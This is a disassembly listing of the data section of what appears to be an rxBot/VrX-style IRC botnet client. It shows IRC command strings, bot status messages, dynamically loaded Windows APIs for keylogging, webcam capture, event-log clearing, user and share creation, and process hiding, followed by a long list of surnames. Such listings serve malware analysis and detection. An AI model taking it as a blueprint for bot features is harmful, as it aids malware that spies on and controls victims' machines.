unk_42CCE4	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CD04	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD58	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDC4:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC8:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDCC	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 10h
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6CC	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 4
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D85C	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D88C	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8BC	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_42D8E0	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 10h
		dd 0
dword_42D924	dd 0			; DATA XREF: sub_40AE84+7o
off_42D928	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 8
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D9A4	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9B0	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
